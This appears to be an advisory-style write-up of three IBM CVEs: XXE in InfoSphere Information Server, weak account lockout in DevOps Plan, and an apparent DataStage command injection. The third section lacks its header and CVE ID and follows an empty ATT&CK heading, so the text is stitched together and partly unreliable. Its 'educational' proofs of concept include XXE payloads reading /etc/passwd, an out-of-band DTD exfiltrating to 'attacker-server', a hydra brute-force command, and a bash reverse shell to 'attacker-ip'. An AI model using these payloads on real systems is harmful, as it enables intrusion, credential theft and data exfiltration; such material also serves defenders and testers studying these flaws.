CVE-2026-1567 – IBM InfoSphere Information Server
XML External Entity (XXE) Injection
Product Overview
IBM InfoSphere Information Server is a widely used enterprise data integration and governance platform. It supports large-scale data ingestion, transformation, and processing across multiple data sources including relational databases, APIs, and structured document formats.
XML data processing is commonly used within the platform when interacting with web services, integration components, and metadata management features. Improper handling of XML entities may expose the application to XML External Entity injection attacks.
Vulnerability Summary
| Field | Details |
|---|---|
| CVE ID | CVE-2026-1567 |
| Product | IBM InfoSphere Information Server |
| Vulnerability Type | XML External Entity Injection |
| CWE | CWE-611 |
| CVSS Score | ~7.0 – 7.5 |
| Severity | High |
| Attack Vector | Network |
| Authentication Required | No |
| User Interaction | No |
| Exploit Complexity | Low |
| Exploit Availability | Publicly known attack technique |
Vulnerability Description
The vulnerability is caused by improper configuration of the XML parser used by the InfoSphere platform. External entity resolution is not sufficiently restricted when XML documents are processed by certain application components.
When XML documents containing external entity definitions are parsed by the application, the parser may attempt to resolve those entities. If the entity references local system files or remote network resources, the application server may retrieve and process that data.
Because the parser does not sufficiently validate or block these entity references, attackers may manipulate XML payloads in order to access internal files or cause the application to communicate with external systems.
Potential Impact
Successful exploitation may allow attackers to:
- Access sensitive files stored on the server
- Retrieve application configuration files
- Obtain system credentials or API tokens
- Trigger outbound requests to attacker-controlled servers
- Map internal network services
- Cause denial-of-service conditions through resource exhaustion
If application configuration files are exposed, attackers may gain access to:
- database credentials
- service account passwords
- encryption keys
- authentication tokens
Exploitation Scenario
An XML document is submitted to an endpoint that processes XML data. The XML payload includes a crafted external entity referencing a sensitive system file.
During XML parsing, the entity is resolved by the parser. The file contents are then injected into the parsed document and may be returned in the response or stored in logs.
In more advanced attack scenarios, out-of-band techniques may be used to transmit the file contents to an external server controlled by the attacker.
Proof of Concept (Educational)
Example malicious XML payload:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<request>
<username>&xxe;</username>
</request>
Out-of-band data exfiltration payload:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % ext SYSTEM "http://attacker-server/xxe.dtd">
%ext;
]>
<root></root>
Example malicious DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker-server/?data=%file;'>">
%eval;
%exfil;

CVE-2025-36363 – IBM DevOps Plan
Weak Account Lockout Mechanism
Product Overview
IBM DevOps Plan is a project planning and DevOps lifecycle management platform designed for enterprise development teams. It integrates with source control systems, CI/CD pipelines, and identity management systems.
Because the platform manages authentication for development teams and project administrators, strong protection against brute-force attacks is required.
Vulnerability Summary
| Field | Details |
|---|---|
| CVE ID | CVE-2025-36363 |
| Product | IBM DevOps Plan |
| Vulnerability Type | Weak Account Lockout |
| CWE | CWE-307 |
| CVSS Score | ~5.9 |
| Severity | High |
| Attack Vector | Network |
| Authentication Required | No |
| User Interaction | No |
| Exploit Complexity | Medium |
| Exploit Availability | Automated scripts |
Vulnerability Description
The vulnerability occurs because the authentication component does not enforce strict account lockout rules after repeated login failures.
When multiple authentication attempts are made using incorrect credentials, the application does not reliably lock the account or sufficiently delay further attempts. Because of this behavior, automated password guessing attacks can be performed against user accounts.
Potential Impact
Successful exploitation could allow attackers to:
- guess user credentials
- access DevOps dashboards
- modify project configurations
- access CI/CD pipeline configuration
- download project data
In environments where privileged users exist, attackers may gain administrative access to development infrastructure.
Exploitation Scenario
An attacker identifies the login endpoint and launches automated authentication attempts using a password list.
Because account lockout mechanisms are weak or improperly implemented, authentication attempts continue without restriction until a valid password is discovered.
Proof of Concept (Educational)
Example login request:
POST /login
username=admin
password=Password123
Automated brute force command:
hydra -l admin -P passwords.txt target-ip http-post-form "/login:username=^USER^&password=^PASS^:Invalid login"
MITRE ATT&CK Mapping

Vulnerability Description
The vulnerability exists because certain application parameters are not properly sanitized before being passed to system commands.
User input may be incorporated directly into command execution routines used by DataStage jobs or integration modules.
If an attacker inserts shell control characters within those parameters, additional commands may be executed by the operating system.
Potential Impact
Successful exploitation could allow attackers to:
- execute arbitrary system commands
- install malicious tools
- access sensitive files
- modify data pipelines
- escalate privileges
Because DataStage systems frequently process sensitive enterprise data, exploitation may lead to full infrastructure compromise.
Exploitation Scenario
A malicious parameter is submitted to an endpoint that triggers DataStage job execution.
The parameter contains shell control characters that terminate the intended command and append a new command controlled by the attacker.
Proof of Concept (Educational)
Example injection payload:
; id
Command chaining payload:
&& cat /etc/passwd
Reverse shell example:
; bash -i >& /dev/tcp/attacker-ip/4444 0>&1
